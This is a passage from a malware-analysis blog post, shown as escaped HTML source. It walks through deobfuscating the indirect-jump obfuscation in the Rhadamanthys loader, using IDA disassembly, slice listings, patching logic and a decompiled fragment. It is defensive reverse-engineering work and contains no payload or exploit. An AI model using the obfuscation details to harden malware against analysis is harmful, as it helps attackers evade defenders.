&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEF3&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEF5&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B6CC&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; CODE XREF: .text:0040BEF3↑j&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFB&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;BEFF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; common path&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B6CC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; path &quot;jcc not taken&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B5B0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jl&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;short&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;loc_40BEFB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; path &quot;jcc taken&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The branch target at 0x40BEFB causes a split into the two paths, where the register diverges.&lt;/p&gt;

&lt;p&gt;For conditional moves (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt;), it works slightly differently:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADF2&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0F6A636EFh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADF7&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0BB2D365h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADFD&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ADFF&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;lea&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE05&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt;   &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE08&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE0E&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;2Ch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE12&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;44h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE16&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE18&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B8A4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; cmov did move (cc true)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;cmovl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; cmov did not move (cc false)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On the main path, we pretend the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; executed its move (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edi&lt;/code&gt; is used), while the secondary slice represents what happens if it doesn’t move (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt; is used).&lt;/p&gt;

&lt;p&gt;In the examples above, the first element of the slices is the one of interest (i.e., the offset we need to dereference for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;).
This holds true in about 95% of the cases, but sometimes there are other instructions, e.g., there could be a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;esi&lt;/code&gt;, since that register is also part of the overall computation.
It might thus be beneficial to get another sub-slice starting at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov eax, [eax]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note how we have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;edx&lt;/code&gt; here again in the last slice rather than an address, so we need to apply the lookup trick described in the previous section.&lt;/p&gt;

&lt;p&gt;Lastly, there is this pattern:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE26&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;xor&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE28&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;cmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;13B0D3B2h&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE2E&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;setz&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE31&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;shl&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE34&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B650&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE3A&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;.text:&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;0040&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AE3C&lt;/span&gt;                 &lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;Slices:&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;setz&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;shl&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;off_48B650&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esi&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;jmp&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The compiler probably emits this instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmov&lt;/code&gt; when the two addresses can be represented using such a set-condition-code-and-shift pattern.
The dereferenced address is either 0x48B650 (zero flag not set) or 0x48B690 (zero flag set → &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&amp;lt;&amp;lt;6 == 0x40&lt;/code&gt; is added).&lt;/p&gt;

&lt;p&gt;You may be wondering what all the jump instructions are doing in the slices.
They’re included for pure convenience, because as it happens, the set union of all slices represents all instructions that can be safely overwritten when we patch things up.&lt;/p&gt;

&lt;p&gt;The patches themselves are pretty straight-forward.
We assemble a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt;, where the condition code is either taken from an existing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcc&lt;/code&gt;, from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmovcc&lt;/code&gt;, or from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setcc&lt;/code&gt;.
The jump destinations are computed from the values we obtained from our data slices and from the function prologue (for the key register and any other random registers).&lt;/p&gt;

&lt;p&gt;While the instructions that we overwrite generally provide enough space in total, they’re not always coherent.
There may be unrelated instructions in between them.
In such cases, some careful shuffling needs to be done in order to consolidate the “free space” by moving legit instructions out of the way.&lt;/p&gt;

&lt;p&gt;The jump deobfuscation logic can be found in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_jumps.py&quot;&gt;deob_jumps.py&lt;/a&gt;, with some utility code for instruction shifting and rewriting being in &lt;a href=&quot;https://github.com/GDATAAdvancedAnalytics/rhadamanthys-loader-deobfuscator/blob/main/deob_util.py&quot;&gt;deob_util.py&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;results-thus-far&quot;&gt;Results thus far&lt;/h3&gt;

&lt;p&gt;Functions now have visible control flow and can be decompiled!
It’s still not exactly pretty, but definitely progress compared to before.
We can work with this.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;                  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2025505611&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2025505611&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;TranslateMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;DispatchMessageA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;v7&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unk_48B77C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                      &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1113969622&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                      &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_132&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
